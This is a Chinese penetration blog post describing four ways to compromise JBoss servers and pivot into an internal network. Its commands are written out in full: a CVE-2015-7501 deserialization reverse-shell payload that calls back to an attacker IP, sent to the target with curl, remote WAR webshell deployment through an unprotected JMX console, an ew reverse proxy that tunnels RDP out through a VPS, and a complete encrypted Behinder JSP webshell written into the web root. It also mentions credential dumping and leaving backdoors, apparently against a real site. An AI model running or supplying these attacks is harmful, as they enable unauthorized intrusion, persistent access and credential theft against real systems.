Drunkmars's Blog

jboss打入内网的四种方式

字数统计: 1.2k阅读时长: 4 min
2021/03/16

jboss是一个基于J2EE的开放源代码的应用服务器。jBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。

现在日常在逆向和渗透之间穿梭,碰到一个jboss的站正好来练练手

使用java反序列化工具

看到jboss肯定想到用最简单的方法,直接上jar拿shell

但是结果不是那么美丽,一串乱码,试试能不能命令执行

命令执行一样乱码,那没办法只能用其他方法走了,这里上以前打过的jboss能够用命令执行的图

是台2012的系统,然后现在就是上传webshell找根目录

先看一下jboss的架构,发现jboss的根目录为:jboss\server\default\deploy\jboss-web.deployer\root.war\

上传jsp小马到根目录下,这里我上传的是菜刀马

访问一下,能够访问到,直接上菜刀连接

成功拿到webshell

到这就很好操作了,直接上cs或者留个小后门都挺舒服的

用jexboss工具直接拿shell

扫一下漏洞,发现有三个地方都可以进,舒服

随便利用一个,查看一下权限和域

war远程部署拿shell

这种方法是因为jmx这个控制台没有设置密码,可以随意进导致的漏洞,我的理解就是如果这个设有密码的话jmx控制台这个漏洞就利用不了

进入页面之后找这个字符串:flavor,定位到这一行,这一行就是jboss远程部署war包所在的位置

点进去之后找到addURL()这个位置

准备一个jsp小马,上传到vps上,用py起一个http服务,让目标机能够访问,这个地方要注意不能用jsp后缀,要把jsp后缀改成war后缀

这个地方我为了以后方便用写了一个py脚本,如果一句话起的话如下:

1
2
3
python -m SimpleHTTPServer 8000 \#Python 2

python -m http.server 8000 #Python 3

访问一下,能够访问到

再回到addURL()的地方,输入war文件的地址,然后点击inmoke

看下有没有报错,没报错就是成功了,然后点击back

在这里可以看到部署的物理位置

点击应用更改

看了一下地址是已经传上去了

看一下web.deployment这个模块,也看到了上传的这个shell.war包

正常情况下,点击apply
changes就会自动跳转到jsp的页面,但是不知道什么原因,我访问jsp文件一直404,可能是因为上传的war并没有在默认目录导致读不到jsp这个文件

已解决:用jar打包jsp文件,上传即可,步骤同前

1
jar -cvf aaa.war .

jmxinvoker反序列化拿shell

之前在用工具扫的时候发现还有一个jmx反序列化漏洞,尝试用反序列化打进去拿shell

利用反序列化工具CVE-2015-7501:https://github.com/ianxtianxt/CVE-2015-7501/

解压后执行命令:

1
2
javac -cp .:commons-collections-3.2.1.jar
ReverseShellCommonsCollectionsHashMap.java
1
2
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
192.168.1.192:4444(IP是攻击机ip,4444是要监听的端口)

这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件

这个时候我们还需要使用nc来监听一个端口来接受反弹shell

再使用一个curl去请求反弹建立连接

1
2
curl http://目标机ip:port/invoker/JMXInvokerServlet --data-binary
@ReverseShellCommonsCollectionsHashMap.ser

然后直接cs上线抓取密码账号

开3389

访问一下,发现连接不上,报错500,可能是因为设置了禁止web流量的原因

既然是禁止流量,那么想办法把流量转出来,那么就要让目标机器访问我的vps

使用ew反向代理

1
2
./ew_for_linux64 -s lcx_listen -l 1111 -e 1234
//将1111接收到的流量转发到1234端口

在目标机执行

1
ew_for_win.exe -s lcx_slave -d vps -e 1234 -f 目标机内网ip -g 3389

将vps端口和自己的3389绑定

然后连接vps的1111端口

登录成功

echo冰蝎写马到绝对路径

1
2
3
4
5
6
7
8
9
10
echo \^\<%@page
import="java.util.\*,javax.crypto.\*,javax.crypto.spec.\*"%\^\>\^\<\^%!class U
extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%\^\>\^\<%if
(request.getMethod().equals("POST")){String
k="e45e329feb5d925b";/\*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond\*/session.putValue("u",k);Cipher
c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%\^\>
\>C:\\Server\\jboss\\server\\default\\deploy\\jboss-web.deployer\\ROOT.war\\mysql.jsp

用^对< >进行转义

访问即可

CATALOG
  1. 1. 使用java反序列化工具
  2. 2. 用jexboss工具直接拿shell
  3. 3. war远程部署拿shell
  4. 4. jmxinvoker反序列化拿shell
  5. 5. echo冰蝎写马到绝对路径